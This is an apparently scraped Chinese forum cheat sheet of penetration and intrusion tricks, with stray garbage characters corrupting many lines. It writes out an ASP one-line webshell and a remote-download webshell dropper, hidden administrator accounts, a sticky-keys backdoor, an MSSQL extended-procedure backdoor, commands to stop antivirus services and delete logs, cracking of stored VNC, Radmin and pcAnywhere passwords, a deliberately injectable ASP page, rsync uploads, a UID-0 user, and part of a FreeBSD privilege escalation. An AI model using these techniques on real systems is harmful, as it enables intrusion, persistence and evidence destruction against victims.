渗透技巧总结

admin

旁站路径问题
1、读网站配置。
2、用以下VBS
On Error Resume Next
7 m  U- m, q8 H. W6 u0 U1 U) \If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        
( u9 |  F" L1 y  U2 E: M3 W: F: K. K
Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

1 i! D- I- ?/ n, e. XUsage:Cscript vWeb.vbs",4096,"Lilo"
& J  Q% ]8 u! E8 ]; Q        WScript.Quit
0 S- l2 J* k) `5 J* g1 Z! rEnd If
Set ObjService=GetObject

% l0 q" F; @, i1 `7 U* T. B3 C("IIS://LocalHost/W3SVC")
# _* _: r- `2 d2 c9 IFor Each obj3w In objservice
        If IsNumeric(obj3w.Name)

Then
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         

6 r% ^( M6 B: J4 V       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
1 d, {; |; ?2 a                If Err

/ j, K# p1 H+ t8 `1 j) t<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &

) X5 V6 j% Q8 Q# f  I5 p6 n0 G3 bOService.ServerComment & "]"
3 B6 F, }1 X1 ^% M6 J1 a9 v                For Each Binds In OService.ServerBindings
     

                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
7 [  d( j4 s, n2 r+ V8 R8 ]) Z, i                        
% P4 @' h: b  X+ g
WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
                Next
' V) \7 Q6 m; I2 A- r( t( W  X& h      
1 c; h2 U2 W0 A- h5 R2 ?* D. h
! ]4 M5 d; {1 Q# J2 ]7 ^* r         WScript.Echo "ath            : " & VDirObj.Path
        End If
5 H( q/ r! e* SNext
复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
WordPress的平台，爆绝对路径的方法是：
0 i5 ]6 T3 N$ U3 u4 I5 g7 @3 w% [/ X+ Eurl/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
- B% P* T# L- c+ R1 \$ O——————————————————————
phpMyAdmin暴路径办法:
1 h  e/ d8 D4 _6 QphpMyAdmin/libraries/select_lang.lib.php
& {% B; u2 x: N9 w5 VphpMyAdmin/darkblue_orange/layout.inc.php
# P6 I, w( h$ c1 Z. S4 vphpMyAdmin/index.php?lang[]=1
( p4 h9 F# D  d, ]. w/ G% u2 [phpmyadmin/themes/darkblue_orange/layout.inc.php
+ c  z0 o' C) R9 X" i  o————————————————————
# _8 m) v& X3 I" q7 @. ~6 k网站可能目录(注：一般是虚拟主机类）
9 d# P* z) S4 I9 G% Xdata/htdocs.网站/网站/
————————————————————
CMD下操作VPN相关
! p7 O; D& T- F  g+ N3 d' bnetsh ras set user administrator permit #允许administrator拨入该VPN
netsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
/ X1 @" x2 Y& k' Y3 \netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
) c) F- C5 W. c7 T————————————————————
5 z1 E6 Z  }% C" x4 X4 a命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
! {: g) f: B4 j7 dexec master.dbo.sp_addlogin test,123
" O- N3 L4 i: I8 S& Y# M; OEXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
, ~# \" h  ^. m
; S2 }) @" r4 Y% k' L/ r另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
5 a& |+ Q5 n0 u/ j5 Y$ b% pvar o=new ActiveXObject( "Shell.Users" );
- A4 N0 c, O) }* o  Nz=o.create("test") ;
z.changePassword("123456","")
z.setting("AccountType")=3;
+ d2 a4 C' ?9 b
6 s7 ?7 c& K$ I7 j5 ^3 b* ?1 ]vbs:
6 C& X8 ]; Y: ]Set   o=CreateObject( "Shell.Users" )
Set z=o.create("test")
z.changePassword "123456",""
! Q# d  ?8 P, Q- ]- {  w. K6 Rz.setting("AccountType")=3
——————————————————
5 s: \# q0 f+ r( w: t# K7 Lcmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
. Y9 Y1 W( n* B4 I
% h3 }; l8 j  M% r# x( N命令如下
cacls c: /e /t /g everyone:F           #c盘everyone权限
9 x9 `% r' i7 b8 W" wcacls "目录" /d everyone               #everyone不可读，包括admin
; r2 _) i/ l6 f8 ^————————以下配合PR更好————
" f5 {5 m  B7 c1 x7 Y7 G7 |6 d7 ?; b3389相关
# l* E* ~  z, e. X, Ra、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
8 \. k* z- g& r1 D, T& J' gc、终端服务器超出了最大允许连接
XP 运行mstsc /admin
2003 运行mstsc /console   

杀软关闭（把杀软所在的文件的所有权限去掉）
) w8 Y" A3 r& k处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
8 m* H3 P0 i5 t! ]4 z) w/ x, o8 mnet stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
# j3 d) Z/ v7 N) [/ ~6 gnet stop "Symantec Settings Manager" /y

卖咖啡：net stop "McAfee McShield"
————————————————————
1 `# h& f$ n4 J& l! i+ O. M" `
5次SHIFT：
. R" {  U4 i* ^" g7 Lcopy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
$ s( H9 R7 n/ ^* a& [, z) c  y1 K——————————————————————
( q! D  w$ J5 i隐藏账号添加：
; j) ^* m8 D* a; V) N& @1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
MSSQL扩展后门：
# Q7 P7 n9 U5 LUSE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
( O$ Z5 |5 S! u% U! P' M———————————————————————
日志处理
C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
% M, m8 w+ m- R7 |" D8 f直接删除 ex0111124.log
9 b' q/ G7 X' w1 U7 g不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
6 B' P0 }! {5 ?( @' I当停止msftpsvc服务后可直接删除ex011124.log

8 r) C8 P* l8 j" h, nMSSQL查询分析器连接记录清除：
/ q7 e: [: @# G6 D  D) G4 S9 JMSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL
/ I2 a9 x& y  ~- }
+ y' h/ a3 Z- c3 n+ X4 y. O1 ~Server\90\Tools\Shell\mru.dat
—————————————————————————
防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
+ ~7 L2 b. C! g7 A: U/ F& g  m0 u" M7 Q0 j" c
<%
" N! @2 {! A0 qSub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
  [! n. @& _0 g: f; M5 P& yDim Ads, Retrieval, GetRemoteData
8 e# Y* i/ ^, n; K" M: HOn Error Resume Next
8 x, h; l  `# O, ]Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
1 {: n3 C# J" L7 Z4 v.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
3 A( d5 w) g) x3 u) gGetRemoteData = .ResponseBody
End With
Set Retrieval = Nothing
- y8 l' F' {* VSet Ads = Server.CreateObject("Adodb.Stream")
With Ads
.Type = 1
- p! @- |& P; X' a.Open
.Write GetRemoteData
, ?: j- G' t1 \' ~3 H2 h" s.SaveToFile Server.MapPath(s_LocalFileName), 2
' |" W+ G$ O: o6 G4 @* C) T.Cancel()
.Close()
. k- q) S* y" @- q# j' REnd With
Set Ads=nothing
5 n' Z6 I  S4 T5 B6 HEnd Sub
$ U0 Z( B' |2 f
eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>

/ b! f6 G# |! t' L0 v2 gVNC提权方法:
利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
4 U) G0 t& ~; G7 v6 u2 `5 c) _9 gregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
Radmin 默认端口是4899，
4 C/ L1 R$ E  vHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
/ X9 f/ M- T, q, Y& R- p然后用HASH版连接。
2 ]8 H+ h& O  C$ y  U+ T7 A- J如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
" Q7 g3 ~/ Y/ Q, {2 a# i保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
Users\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
9 q, e5 N! M+ ]( l& ?搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
0 \1 p2 g- J  n2 ~——————————————————----------
! B( g) U# a* v4 u8 |1 fWinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
1 O* b; K: L- l8 f& I5 `5 q来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
5 i' D& n! d/ m+ P1 Y! R& y/ @没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。
6 ]! @/ g* R0 }1 Y! J* B
# P: V5 p; A0 E  Y6 O, k1433 SA点构建注入点。
% Q7 S  k2 t* c' I" m/ e+ W2 \( J<%
7 r) A) D4 k8 HstrSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
. k9 t* C+ R9 Z$ c$ \9 h! {9 o, \strSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

, O1 M' G& e# o";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
1 E% \. e3 i8 ?( `2 \6 O3 ]- }
strSQLDBName & ";"
" t- Z! A' E- z% I; T7 a) Yconn.open strCon
dim rs,strSQL,id
* a1 l' f3 H. L' T5 J* K) J! \set rs=server.createobject("ADODB.recordset")
id = request("id")
; k! K! k, k0 Q2 }strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
1 ?1 M; {) t1 `* w# Y  t8 m$ @%>
  _: B0 k% @+ B5 {) s复制代码
******liunx 相关******
# @* X1 ~: N% [9 Y一.ldap渗透技巧
1.cat /etc/nsswitch
; d- N$ k' D7 |! x6 h看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf
7 [/ o* O, L6 R! Fbase ou=People,dc=unix-center,dc=net
7 U+ z" C1 Q. ^5 Q+ |找到ou,dc,dc设置

2 q, ~; |" t0 e; |9 e3 z1 n& m3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
6 D6 Z  N$ Y* u! Y: U: v; G/ F3 G) Qldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
9 t9 p1 D# g* Y
, l( W$ M* u9 `0 a"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
+ N  o$ M7 T: I& R, ?

4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

+ u2 A# u4 S9 l7 E: V4 t! D实战:
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
2 l: _  K# Z' I! Q+ x  L
; c7 K9 \9 c' f' d9 X5 U  `2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

9 ~2 U) A) m5 q& [# T- \3.查找管理员信息
匿名方式
) k0 O' R0 ?  Y' I/ E" ildapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
8 T; K# W3 _. d- u8 L5 z6 D有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
( o2 E& J# p0 L6 p: f/ U# {
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
& N3 |$ F  P; W

* z3 |7 p1 p8 S$ z4.查找10条用户记录
3 E$ n: d8 y% Bldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
  w) T% R' W1 L" U- h2 K8 T
渗透实战:
0 `5 V# A; t( b1 m2 o1.返回所有的属性
2 F# w5 m+ t" ]6 r& o- Bldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
9 d/ }2 S# r: L5 |6 v! y& f+ `6 Bversion: 1
2 ]( l  d/ _$ r5 T7 Vdn: dc=ruc,dc=edu,dc=cn
( Y5 E& P# n" N! [. O; K: {dc: ruc
/ {; t+ C; T/ R9 K. S5 H# P  [2 K$ ?objectClass: domain
9 @- U( a; N: `4 p6 T- L# g8 I
. m- y& K2 A3 F& N: S' Kdn: uid=manager,dc=ruc,dc=edu,dc=cn
* G# R/ j* J& P8 Ouid: manager
objectClass: inetOrgPerson
/ @9 _8 E* h/ g5 N, d, c* ZobjectClass: organizationalPerson
" b/ ]% n2 I1 m5 [0 X8 r- g0 s( ?objectClass: person
objectClass: top
sn: manager
cn: manager
% d( O- W8 d0 M/ o. o- u8 s1 `6 b
2 ?! v) F1 [8 f5 P) g2 [dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
% Y. O/ y, t( g& C7 a% v2 Muid: superadmin
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
+ o+ G7 C$ t0 G. i5 r: [objectClass: top
! `9 u* w( v' i, {" P; U, Ssn: superadmin
4 L8 Y. l; B! {" u& |cn: superadmin

dn: uid=admin,dc=ruc,dc=edu,dc=cn
$ L# X& A6 t. c& r. A3 D0 }uid: admin
objectClass: inetOrgPerson
objectClass: organizationalPerson
5 A' `) M5 N9 M' m4 _5 WobjectClass: person
objectClass: top
sn: admin
cn: admin
4 m3 W& _1 }6 \- i- E% N5 g
dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
) v: [2 H+ M) ~6 J( t5 B: Ruid: dcp_anonymous
$ u7 z# m+ M1 N& x6 P% l: sobjectClass: top
/ X' r7 N5 U# ^3 l! Y  B: F" @objectClass: person
objectClass: organizationalPerson
8 A/ W. l: R  Z  L2 Y1 g# M6 z/ WobjectClass: inetOrgPerson
$ B5 C: _# J& x) }$ D6 osn: dcp_anonymous
cn: dcp_anonymous

8 ^1 m4 X$ J  D6 t: i2.查看基类
5 p9 M/ K( I6 _8 f! q) Dbash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

more
/ l, _3 x$ N: _version: 1
dn: dc=ruc,dc=edu,dc=cn
, [& a7 Y- H% L5 s- k$ z- u# |  Xdc: ruc
+ V) W8 [2 [& v  x( @" E7 }  v; robjectClass: domain
9 R& s; R; K2 R$ I5 c" V+ {
5 m- G! N  K. g9 z) v3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
# _& V% w5 L. `% }0 |% Udn:
: w6 K9 ?5 M6 U* X+ @3 _  {objectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
+ e9 R# i. H! p, v1 K7 N& V/ zsupportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
supportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
supportedExtension: 2.16.840.1.113730.3.5.3
$ V$ z2 ?4 [- _) c& {/ Z- NsupportedExtension: 2.16.840.1.113730.3.5.5
; R# F" K4 I2 t3 I3 wsupportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
" r7 S/ w  [( W- L9 ksupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
# R. F& D+ n$ y) H1 Z, g+ F! B$ EsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
2 ?" F8 @' k% e; tsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
( ^4 A# ~. a& O3 S, `supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
0 {6 [. @' d! T  m! E( RsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
) c/ M' L# O4 h! d5 v, T" J' esupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
4 o% v7 i* s/ K) I4 G! lsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
, ?7 {3 e5 {' U. n5 {0 ?supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
6 Y9 ?( e" i! S+ @5 i8 ?supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
( @- _2 a+ m/ @. S2 GsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
" P2 q" c  s$ j! k+ t, HsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
8 \5 z3 {. Y/ w$ m3 ]) t/ \5 OsupportedControl: 2.16.840.1.113730.3.4.4
" O1 r! O2 t6 ~# J  y& HsupportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
; T& f+ g- R' `/ ^supportedControl: 2.16.840.1.113730.3.4.9
6 O# l# j" w; PsupportedControl: 2.16.840.1.113730.3.4.16
& M/ z) {  }, P1 Q/ B! lsupportedControl: 2.16.840.1.113730.3.4.15
$ a' Z% I" ]$ b1 psupportedControl: 2.16.840.1.113730.3.4.17
3 O) v; Z8 v2 {- @, o4 D  Q2 XsupportedControl: 2.16.840.1.113730.3.4.19
8 \. v; y% Y( a' x, psupportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
5 ]7 b; t7 V7 }+ EsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
& e' O& C9 u+ u7 h: b! R: k9 S3 V' ysupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
supportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
) ?5 o- H9 I) [& i( `4 ]0 w: r' LsupportedSASLMechanisms: EXTERNAL
6 z( t' A. d6 isupportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
supportedLDAPVersion: 3
; W  G/ k, n/ Y$ avendorName: Sun Microsystems, Inc.
( c1 \% Q- M) F. k; b; X; B; tvendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
8 M. w$ n! d) BsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
0 O8 M3 P6 w4 q: RsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
, u( U$ M9 F' [& q7 l- F8 xsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
: n7 l- y, I; x5 x  B2 O6 ?supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
8 `! v  G; q$ t. E; ?% VsupportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
4 }6 T* Q: r+ asupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
* F8 k( a2 h4 S3 NsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
7 }/ Q9 M7 Y$ }; O- x  A' X2 asupportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
1 x7 H5 K# t& l8 e8 f- S! osupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
, W0 t: o& N9 t! b- @2 EsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
. V' Z- A7 X# f" K- z0 v6 qsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
: i; d7 k1 W1 W( CsupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
1 _: l7 N; n0 P" ?5 n6 ^' s$ S$ esupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
3 ~. o9 j5 f- H( XsupportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
# V% H* Y6 }8 \2 A3 ^% c) o( l$ gsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
6 O! a0 `1 \7 w) M3 c- g3 {) Q5 K0 g- esupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
& z/ k4 m$ [+ {, O0 z( S* o. ssupportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
, D7 w/ z# m8 P: C5 n, J6 dsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
. i$ S" G2 P; y1 |3 E2 _$ }supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
+ z) x4 i: a  v( HsupportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
% X* l; O6 u% W' QsupportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
* G+ X) i7 f5 y; }. asupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
& a! e7 P5 G( DsupportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
2. NFS渗透技巧
8 p" L7 g2 J3 G, T+ [9 Dshowmount -e ip
7 S! a% u2 P$ P: ^8 u8 s, y3 o4 G列举IP
8 \% C; a/ U8 e0 o! ]——————
3.rsync渗透技巧
- [' A1 h; K" l/ U7 b8 u5 j7 |' @1.查看rsync服务器上的列表
" i  J$ Z2 c+ Z; h2 Xrsync 210.51.X.X::
finance
6 ^; c' ^! ?' n: u) i& Q. x5 d  e  Mimg_finance
auto
6 Y0 d% S9 }7 ~; d9 |& Z" nimg_auto
html_cms
! {- a$ |# S7 B' }img_cms
ent_cms
ent_img
ceshi
res_img
res_img_c2
5 y. H7 y' m0 A: ychip
chip_c2
ent_icms
games
) T1 c6 y  s" r7 O0 C- agamesimg
media
: _+ v/ A9 V' `. J5 H$ h7 C/ xmediaimg
fashion
; W/ x( H8 a' ]% H$ P$ ?+ Eres-fashion
res-fo
( H) ?  y; {. \" Utaobao-home
( b) @+ Q9 A. y" q; c/ r8 ?res-taobao-home
house
4 P6 P7 H1 `6 L" l+ G. }/ t; j6 u5 m5 j: Zres-house
res-home
res-edu
5 ^0 K4 z. g4 q$ w4 i1 _3 mres-ent
9 X; T2 @3 ]" v6 X/ yres-labs
res-news
4 L+ q) `$ k- Q2 [; v/ ?7 }7 mres-phtv
! b/ D0 v; I: y5 T* E3 r5 Dres-media
) ]% N2 W7 {$ dhome
5 D- n/ n1 e# [+ m6 _edu
6 X+ a+ [" D! h* {1 unews
res-book

看相应的下级目录(注意一定要在目录后面添加上/)
& W! ]; O& V- @* h. K

1 H8 r$ x7 r$ P, u8 {( Nrsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/
; a; z- d( ^& C9 y
2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

/ v0 A8 @7 j  D& j4 I6 N3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
  k2 l; z4 _/ A% U! Bhttp://app.finance.xxx.com/warn/nothack.txt
7 e% i" Z. Q. p
" I! T5 X5 [6 ^& B. u$ x/ W四.squid渗透技巧
nc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
9 }9 a5 S/ }9 @/ m3 C9 p* EGET HTTP://WWW.sina.com:22 / HTTP/1.0
五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip

$ y) a* U( ^- X  s7 h+ l六.joomla渗透小技巧
确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

; L* M$ j7 {, H1 [  `15&catid=32:languages&Itemid=47

/ k2 w; _# a# @9 k重新设置密码
index.php?option=com_user&view=reset&layout=confirm
' m$ v4 |# V4 C
. r' ?+ C' ~( Y% C3 D/ j七: Linux添加UID为0的root用户
useradd -o -u 0 nothack

1 q8 E; u, r  K) i1 i八.freebsd本地提权
[argp@julius ~]$ uname -rsi
: G3 }- Y8 A; B( D. U0 ?; S* freebsd 7.3-RELEASE GENERIC
! Z* O  U" Q$ h) D9 l6 U* [argp@julius ~]$ sysctl vfs.usermount
& J2 P1 q9 v/ N; [# r  P  V* vfs.usermount: 1
' N6 F+ Q7 w5 U/ W1 p1 M* [argp@julius ~]$ id
* Z/ y$ u' {; @; A; t* Z  I5 y* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
*
calling nmount()
